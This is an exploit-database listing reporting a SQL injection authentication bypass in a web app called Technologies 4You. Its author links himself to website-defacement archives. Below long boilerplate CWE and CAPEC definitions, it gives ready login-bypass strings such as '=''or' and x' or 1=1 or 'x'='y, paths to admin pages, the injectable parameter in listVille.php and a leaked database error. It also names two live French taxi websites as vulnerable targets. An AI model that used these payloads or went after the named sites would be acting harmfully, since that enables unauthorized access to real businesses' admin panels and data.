Technologies 4You SQL Injection Authentication Bypass

2020.05.22
Risk: Medium
Local: No
Remote: Yes
CVE: CWE-287
CWE: CWE-89

#################################################################### # Exploit Title : Technologies 4You SQL Injection Authentication Bypass # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 22 May 2020 # Vendor Homepage : technologies-4you.com # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] CAPEC-66 [ SQL Injection ] CWE-287 [ Improper Authentication ] CAPEC-115 [ Authentication Bypass ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/KingSkrupellos # Zone-H : zone-h.org/archive/notifier=KingSkrupellos zone-h.org/archive/notifier=CyBeRiZM # Mirror-H : mirror-h.org/search/hacker/948/ mirror-h.org/search/hacker/94/ mirror-h.org/search/hacker/1826/ # Defacer.ID : defacer.id/archive/attacker/KingSkrupellos defacer.id/archive/team/Cyberizm-Org # Inj3ctor : 1nj3ctor.com/attacker/43/ ~ 1nj3ctor.com/attacker/59/ # Aljyyosh : aljyyosh.org/hacker.php?id=KingSkrupellos aljyyosh.org/hacker.php?id=Cyberizm.Org aljyyosh.org/hacker.php?id=Cyberizm # Zone-D : zone-d.org/attacker/id/69 # Pastebin : pastebin.com/u/KingSkrupellos # Cyberizm.Org : cyberizm.org/forum-exploits-vulnerabilities ################################################################### # Impact : *********** Technologies 4You is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser or with any SQL Injector Tool. CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *********************************************************************************** The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. CAPEC-66: SQL Injection ************************ This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attackers' choice. SQL Injection enables an attacker to talk directly to the database, thus bypassing the application completely. Successful injection can cause information disclosure as well as ability to add or modify data in the database. CWE-287 [ Improper Authentication ] ********************************** Authentication is any process by which a system verifies the identity of a user who wishes to access it.When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct. Improper authentication occurs when an application improperly verifies the identity of a user. A software incorrectly validates user's login information and as a result, an attacker can gain certain privileges within the application or disclose sensitive information that allows them to access sensitive data and provoke arbitrary code execution. The weakness is introduced during Architecture and Design, Implementation stages. CAPEC-115 [ Authentication Bypass ] *********************************** An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place. This refers to an attacker gaining access equivalent to an authenticated user without ever going through an authentication procedure. This is usually the result of the attacker using an unexpected access procedure that does not go through the proper checkpoints where authentication should occur. For example, a web site might assume that all users will click through a given link in order to get to secure material and simply authenticate everyone that clicks the link. However, an attacker might be able to reach secured web content by explicitly entering the path to the content rather than clicking through the authentication link, thereby avoiding the check entirely. This attack pattern differs from other authentication attacks in that attacks of this pattern avoid authentication entirely, rather than faking authentication by exploiting flaws or by stealing credentials from legitimate users. ################################################################### Administrator Username : '=''or' Administrator Password : '=''or' Administrator Username : anything' OR 'x'='x Administrator Username : anything' OR 'x'='x Administrator Username : x' or 1=1 or 'x'='y Administrator Password : x' or 1=1 or 'x'='y /admin/ /admin/gestionclient.php /admin/miseajour.php /admin/gestionannonce.php ScreenShot Administrator Panel => ******************************* https://www.upload.ee/image/11744168/technologies4youadminpanel22052020.png # SQL Vulnerable File : ********************** /listVille.php # SQL Vulnerable Parameter : *************************** ?page=&departement= # SQL Injection Exploit : ********************** /listVille.php?page=&departement=[SQL Injection] ################################################################### # Example Vulnerable Sites : ************************* [+] france-taxi-conventionne-cpam.fr/listVille.php?page=&departement=1%27 [+] taxi-conventionne-cpam-france.fr/admin/gestionannonce.php Reverse IP results for (185.98.131.132) There are 1,149 domains hosted on this server. Reverse IP results for (185.98.131.130) There are 1,314 domains hosted on this server. Reverse IP results for (185.98.131.144) There are 1,401 domains hosted on this server. ################################################################### # Example SQL Database Error : **************************** Fatal error: Uncaught PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '-30, 30' at line 1 in /htdocs/listVille.php:306 Stack trace: #0 /htdocs/listVille.php(306): PDO->query('SELECT * FROM v...') #1 {main} thrown in /htdocs/listVille.php on line 306 ################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ###################################################################


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top